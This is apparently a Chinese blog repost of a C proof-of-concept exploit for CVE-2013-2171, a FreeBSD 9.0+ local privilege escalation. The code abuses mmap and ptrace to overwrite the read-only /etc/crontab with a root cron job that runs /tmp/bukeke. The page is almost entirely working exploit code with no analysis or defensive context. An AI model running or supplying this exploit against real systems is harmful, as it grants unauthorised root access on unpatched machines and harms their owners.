您现在的位置:爱折腾>> Linux>>正文内容

FreeBSD 9.0+ Privilege Escalation Exploit

  1. /*   
  2. * CVE-2013-2171 FreeBSD 9.0+ Privilege escalation via mmap  
  3. *  
  4. * poc by SynQ, rdot.org, 6/2013  
  5. *  
  6. * don't forget to cp /etc/crontab /tmp  
  7. *  
  8. */  
  9. #include <unistd.h>  
  10. #include <stdio.h>  
  11. #include <stdlib.h>  
  12. #include <sys/mman.h>  
  13. #include <sys/ptrace.h>  
  14. #include <sys/wait.h>  
  15. #include <fcntl.h>  
  16. #include <sys/types.h>  
  17.  
  18. char sc[]="*\t*\t*\t*\t*\troot\t/tmp/bukeke\n#";  
  19.  
  20. void child() {  
  21. int status;  
  22.  
  23. status = ptrace(PT_TRACE_ME, 0, 0, 0);  
  24. if (status != 0)  
  25. printf("child ptrace error\n");  
  26. exit(1);  
  27. }  
  28.  
  29. int main() {  
  30. int pid, fd, i;  
  31. char *addr;  
  32.  
  33. fd = open("/etc/crontab", O_RDONLY);  
  34. if (fd<0) {  
  35. printf("open failed\n");  
  36. exit(1);  
  37. }  
  38.  
  39. addr = mmap(0, 4096, PROT_READ, MAP_SHARED, fd, 0);  
  40. if (addr == MAP_FAILED) {  
  41. printf("mmap fault\n");  
  42. exit(1);  
  43. }  
  44.  
  45. pid = fork();  
  46. if (pid == -1) {  
  47. printf("fork failed\n");  
  48. exit(1);  
  49. }  
  50. else if (pid == 0)  
  51. child();  
  52.  
  53. ptrace(PT_ATTACH, pid, 0, 0);  
  54. if (wait(0) == -1) {  
  55. printf("wait failed\n");  
  56. exit(1);  
  57. }  
  58. printf("writing shellcode...\n");  
  59.  
  60. for(i=0; i < sizeof(sc)/4; i++)  
  61. ptrace(PT_WRITE_D, pid, addr+i*4, *(int*)&sc[i*4]);  
  62.  
  63. ptrace(PT_DETACH, pid, 0, 0);  
  64. if (wait(0) == -1) {  
  65. printf("wait2 failed\n");  
  66. exit(1);  
  67. }  
  68.  
  69. printf("done.\n");  
  70. return 0;  
  71. }  

相关文章